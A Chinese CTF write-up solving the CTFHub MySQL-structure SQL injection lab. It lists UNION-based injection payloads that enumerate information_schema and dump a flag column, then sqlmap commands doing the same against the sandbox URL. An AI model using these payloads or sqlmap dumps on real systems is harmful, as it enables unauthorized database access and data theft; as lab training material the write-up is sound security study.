CTFHUB技能树之SQL——MySQL结构

开启靶场,打开链接:

先判断一下是哪种类型的SQL注入:

1 and 1=1#

正常回显


1 and 1=2#

回显错误,说明是整数型注入


判断一下字段数:

1 order by 2#

正常回显

1 order by 3#

回显错误,说明字段数是2列


知道字段数量为2后,可以查看数据库位置

1 union select 1,2#

没有发现数据,猜测数据可能不存在数据库中,修改注入语句


1 and 1=2 union select 1,2#或者-1 union select 1,2#都行


(1)查看数据库名

-1 union select 1,database()#


(2)查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata#

可以发现sqli不是自带的数据库


(3)查看表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#


(4)查看列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ufnanbfswh'#


(5)查看字段内容(flag)

-1 union select 1,group_concat(cqnstcfhov) from sqli.ufnanbfswh#

ctfhub{3f3b08fb458cc15178c70beb}


接下来用sqlmap一把梭:

(1)查看数据库名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -dbs


(2)查看表名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -tables


(3)查看列名

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -columns


(4)查看字段内容(flag)

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh -C cqnstcfhov -dump


或者得知数据库名和表名的情况下直接梭出字段内容:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli -T ufnanbfswh --dump


要是时间够的话得知数据库名的情况下,直接一把梭:

python sqlmap.py -u "http://challenge-e23ec2503ef3e30f.sandbox.ctfhub.com:10800/?id=1" -D sqli --dump

相关推荐
我的offer在哪里20 小时前
MySQL 底层文件的备份与恢复(分「文本类文件」「二进制核心文件」,附全场景实操)
数据库·mysql
2301_8002561121 小时前
8.2 空间查询基本组件 核心知识点总结
数据库·人工智能·算法
吃喝不愁霸王餐APP开发者1 天前
霸王餐API文档自动化:Spring REST Docs与Asciidoctor多模块聚合
数据库·spring·自动化
小张程序人生1 天前
MySQL一主一从搭建详细讲解
mysql
默恋~微凉1 天前
Mysql 备份与还原
数据库·mysql
研华科技Advantech1 天前
储能AI化的数据瓶颈与破解路径:研华全栈方案实践分析
数据库·人工智能·储能·智能体
漏洞文库-Web安全1 天前
Linux逆向学习记录
linux·运维·学习·安全·web安全·网络安全·逆向
大锦终1 天前
【MySQL】索引
数据库·mysql
jnrjian1 天前
Hash index initrans 的修改及 partition的增
数据库·oracle
一 乐1 天前
美食推荐|基于springboot+vue的美食分享系统设计与实现(源码+数据库+文档)
前端·数据库·vue.js·spring boot·后端·美食